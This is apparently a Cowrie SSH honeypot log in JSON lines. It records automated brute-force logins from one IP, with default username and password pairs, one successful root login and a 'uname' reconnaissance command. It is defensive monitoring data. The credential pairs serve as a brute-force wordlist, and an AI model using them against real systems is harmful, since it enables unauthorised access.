{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:38:37.409589Z","src_ip":"101.44.96.62","session":"aa253d432fb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:38:38.055187Z","src_ip":"101.44.96.62","session":"aa253d432fb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:38:39.272907Z","src_ip":"101.44.96.62","session":"aa253d432fb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":45966,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bfb3f4567c8","protocol":"ssh","message":"New connection: 101.44.96.62:45966 (159.203.135.109:22) [session: 7bfb3f4567c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:38:50.691649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:38:50.695910Z","src_ip":"101.44.96.62","session":"7bfb3f4567c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:38:50.913079Z","src_ip":"101.44.96.62","session":"7bfb3f4567c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:38:51.564736Z","src_ip":"101.44.96.62","session":"7bfb3f4567c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:38:52.784675Z","src_ip":"101.44.96.62","session":"7bfb3f4567c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":47708,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c83fb9cbdd7","protocol":"ssh","message":"New connection: 101.44.96.62:47708 (159.203.135.109:22) [session: 6c83fb9cbdd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:39:04.244849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:39:04.251171Z","src_ip":"101.44.96.62","session":"6c83fb9cbdd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:39:04.469113Z","src_ip":"101.44.96.62","session":"6c83fb9cbdd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:39:05.119137Z","src_ip":"101.44.96.62","session":"6c83fb9cbdd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:39:06.340250Z","src_ip":"101.44.96.62","session":"6c83fb9cbdd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":41474,"dst_ip":"159.203.135.109","dst_port":22,"session":"742d66c9e710","protocol":"ssh","message":"New connection: 101.44.96.62:41474 (159.203.135.109:22) [session: 742d66c9e710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:39:17.690926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:39:17.695626Z","src_ip":"101.44.96.62","session":"742d66c9e710","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:39:17.912869Z","src_ip":"101.44.96.62","session":"742d66c9e710","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:39:18.563772Z","src_ip":"101.44.96.62","session":"742d66c9e710","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:39:19.151877Z","src_ip":"101.44.96.62","session":"742d66c9e710","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:39:19.155518Z","src_ip":"101.44.96.62","session":"742d66c9e710","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:39:19.376828Z","src_ip":"101.44.96.62","session":"742d66c9e710","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:39:19.383451Z","src_ip":"101.44.96.62","session":"742d66c9e710","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":56414,"dst_ip":"159.203.135.109","dst_port":22,"session":"378cbfc267fd","protocol":"ssh","message":"New connection: 101.44.96.62:56414 (159.203.135.109:22) [session: 378cbfc267fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:39:31.125973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:39:31.131029Z","src_ip":"101.44.96.62","session":"378cbfc267fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:39:31.348845Z","src_ip":"101.44.96.62","session":"378cbfc267fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp123","message":"login attempt [uftp/uftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:39:32.010675Z","src_ip":"101.44.96.62","session":"378cbfc267fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:39:33.230461Z","src_ip":"101.44.96.62","session":"378cbfc267fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":39792,"dst_ip":"159.203.135.109","dst_port":22,"session":"33e662e3cb6d","protocol":"ssh","message":"New connection: 101.44.96.62:39792 (159.203.135.109:22) [session: 33e662e3cb6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:39:44.595061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:39:44.602320Z","src_ip":"101.44.96.62","session":"33e662e3cb6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:39:44.817395Z","src_ip":"101.44.96.62","session":"33e662e3cb6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:39:45.462104Z","src_ip":"101.44.96.62","session":"33e662e3cb6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:39:46.680446Z","src_ip":"101.44.96.62","session":"33e662e3cb6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":44998,"dst_ip":"159.203.135.109","dst_port":22,"session":"a44b1627614b","protocol":"ssh","message":"New connection: 101.44.96.62:44998 (159.203.135.109:22) [session: a44b1627614b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:39:58.151327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:39:58.156859Z","src_ip":"101.44.96.62","session":"a44b1627614b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:39:58.374685Z","src_ip":"101.44.96.62","session":"a44b1627614b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bigdata","password":"bigdata","message":"login attempt [bigdata/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:39:59.027038Z","src_ip":"101.44.96.62","session":"a44b1627614b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:00.247663Z","src_ip":"101.44.96.62","session":"a44b1627614b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":41924,"dst_ip":"159.203.135.109","dst_port":22,"session":"56c3242b1e9b","protocol":"ssh","message":"New connection: 101.44.96.62:41924 (159.203.135.109:22) [session: 56c3242b1e9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:11.632525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:11.650218Z","src_ip":"101.44.96.62","session":"56c3242b1e9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:11.877799Z","src_ip":"101.44.96.62","session":"56c3242b1e9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle","password":"!QAZ@wsx","message":"login attempt [oracle/!QAZ@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:12.565566Z","src_ip":"101.44.96.62","session":"56c3242b1e9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:13.790830Z","src_ip":"101.44.96.62","session":"56c3242b1e9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":43244,"dst_ip":"10.17.0.5","dst_port":22,"session":"83b608bc26b4","protocol":"ssh","message":"New connection: 2.57.122.238:43244 (10.17.0.5:22) [session: 83b608bc26b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:23.169712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:40:23.174682Z","src_ip":"2.57.122.238","session":"83b608bc26b4","protocol":"ssh"}
